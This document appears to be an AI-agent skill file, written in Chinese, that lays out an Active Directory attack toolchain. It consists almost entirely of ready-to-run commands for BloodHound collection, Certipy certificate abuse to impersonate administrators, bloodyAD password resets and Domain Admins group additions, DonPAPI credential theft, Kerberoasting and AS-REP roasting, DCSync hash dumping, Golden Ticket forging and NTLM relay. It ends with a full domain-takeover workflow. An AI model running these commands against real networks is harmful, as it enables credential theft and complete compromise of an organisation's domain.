| name | active-directory |
| description | Active Directory攻击 — BloodHound、Certipy、bloodyAD、DonPAPI、域渗透 |
| version | 1.0.0 |
| author | Hermes Agent |
| license | MIT |
| metadata | {"hermes":{"tags":["active-directory","bloodhound","kerberos","certipy","domain","windows","ldap"]}} |
Active Directory攻击工具链
核心工具
| 工具 | 用途 | Stars |
|---|
| BloodHound | AD攻击路径分析 | 10K+ |
| BloodHound.py | Python版数据采集 | 3K+ |
| Certipy | AD CS证书攻击 | 3K+ |
| bloodyAD | AD权限提升瑞士军刀 | 2K+ |
| DonPAPI | DPAPI远程凭据提取 | 1K+ |
| Impacket | Windows协议工具集 | 13K+ |
| CrackMapExec | 内网批量操作 | 10K+ |
| Rubeus | Kerberos攻击 | 3K+ |
| PowerView | AD枚举(PowerShell) | - |
| PingCastle | AD安全评估 | 2K+ |
1. BloodHound — AD攻击路径
安装
sudo apt install neo4j
sudo systemctl start neo4j
docker pull specterops/bloodhound
docker run -p 7474:7474 -p 7687:7687 specterops/bloodhound
pip install bloodhound
数据采集
bloodhound-python -u user -p pass -d domain.local -dc dc.domain.local -c All
cme ldap dc.domain.local -u user -p pass --bloodhound --collection All
常用查询
1. Find all Domain Admins
2. Find Shortest Path to Domain Admin
3. Find Principals with DCSync Rights
4. Find Kerberoastable Users
5. Find AS-REP Roastable Users
6. Find Computers with Unconstrained Delegation
7. Find Users with AdminCount=1
2. Certipy — AD CS证书攻击
安装
pip install certipy-ad
ESC1 — 模板配置错误
certipy find -u user@domain -p pass -dc-ip DC_IP -vulnerable
certipy req -u user@domain -p pass -ca CA_NAME -template VULN_TEMPLATE -upn admin@domain
certipy auth -pfx admin.pfx -dc-ip DC_IP
ESC4 — 模板写权限
certipy template -u user@domain -p pass -template VULN_TEMPLATE -save-old
certipy req -u user@domain -p pass -ca CA_NAME -template VULN_TEMPLATE -upn admin@domain
certipy template -u user@domain -p pass -template VULN_TEMPLATE -configuration template.json
ESC8 — NTLM Relay to AD CS
certipy relay -target http://CA_SERVER
sudo responder -I eth0 -wrf
3. bloodyAD — AD权限提升
安装
pip install bloodyAD
用法
bloodyAD --host DC_IP -d domain.local -u user -p :nthash set password target 'NewPass!'
bloodyAD --host DC_IP -d domain.local -u user -p 'Pass' add groupMember "Domain Admins" target
bloodyAD --host DC_IP -d domain.local -u user -p 'Pass' add computer NEWPC 'Password123!'
bloodyAD --host DC_IP -d domain.local -u user -p 'Pass' set spn target HTTP/fake
bloodyAD --host DC_IP -d domain.local -u user -p 'Pass' add dnsRecord fakehost 10.10.10.100
bloodyAD --host DC_IP -d domain.local -u user -p 'Pass' -k set password target 'NewPass!'
4. DonPAPI — DPAPI凭据提取
安装
pipx install donpapi
用法
donpapi collect -u admin -p 'Pass' -d domain.local -t ALL --fetch-pvk
donpapi collect -u admin -p 'Pass' -d domain.local -t 192.168.1.100
donpapi file db.dpapi
donpapi gui
收集的凭据类型
- 浏览器密码/Cookie
- 证书
- Credential Manager
- SCCM凭据
- VNC凭据
- WiFi密码
- RDCManager凭据
- Windows Vault
5. AD枚举
PowerView (PowerShell)
# 域信息
Get-Domain
Get-DomainController
# 用户枚举
Get-DomainUser
Get-DomainUser -Identity admin -Properties *
Get-DomainUser -SPN # Kerberoastable
# 组枚举
Get-DomainGroup
Get-DomainGroupMember -Identity "Domain Admins"
# 计算机枚举
Get-DomainComputer
Get-DomainComputer -Unconstrained # 无约束委托
# GPO
Get-DomainGPO
Get-DomainGPOLocalGroup
# ACL
Get-DomainObjectAcl -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner"}
ldapdomaindump
pip install ldapdomaindump
ldapdomaindump -u domain\\user -p pass ldap://DC_IP
6. Kerberos攻击
AS-REP Roasting
GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt wordlist.txt
bloodyAD --host DC_IP -d domain.local -u user -p 'Pass' get writable --otype user --right WRITE_PROPERTY | grep -i "USER_ACCOUNT_CONTROL"
Kerberoasting
GetUserSPNs.py domain.com/user:pass -request -outputfile tgs.txt
hashcat -m 13100 tgs.txt wordlist.txt
Rubeus.exe kerberoast /outfile:tgs.txt
Unconstrained Delegation
Rubeus.exe monitor /interval:5
SpoolSample.exe TARGET ATTACKER
7. DCSync
导出所有hash
secretsdump.py domain.com/user:pass@DC_IP
secretsdump.py -just-dc domain.com/user:pass@DC_IP
secretsdump.py -just-dc-user krbtgt domain.com/user:pass@DC_IP
Golden Ticket
ticketer.py -nthash krbtgt_NTHASH -domain-sid S-1-5-21-... -domain domain.com administrator
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.com/administrator@DC_IP
8. 域渗透流程
1. 枚举
├── BloodHound采集数据
├── PowerView枚举用户/组/计算机
└── ldapdomaindump导出LDAP信息
2. 凭据获取
├── AS-REP Roasting
├── Kerberoasting
├── AD CS证书攻击
└── DonPAPI DPAPI提取
3. 权限提升
├── bloodyAD修改密码/添加组
├── ACL滥用
└── Unconstrained Delegation
4. 横向移动
├── Pass-the-Hash
├── Pass-the-Ticket
├── Over-Pass-the-Hash
└── NTLM Relay
5. 域控获取
├── DCSync导出hash
├── Golden/Silver Ticket
└── AD CS证书伪造
Pitfalls
- BloodHound需要Neo4j — 记得启动neo4j服务
- Certipy版本问题 — 确保pip install certipy-ad不是certipy
- bloodyAD需要LDAP访问 — 确保445/389/636端口可达
- DCSync需要高权限 — 需要Domain Admin或等效权限
- Golden Ticket需要krbtgt hash — 必须先拿到域控
- Kerberoasting只能获取服务账号 — 不是所有用户
- AS-REP Roasting需要禁用预认证的用户 — 不是所有用户
- DPAPI凭据需要解密密钥 — 需要用户密码或DPAPI backup key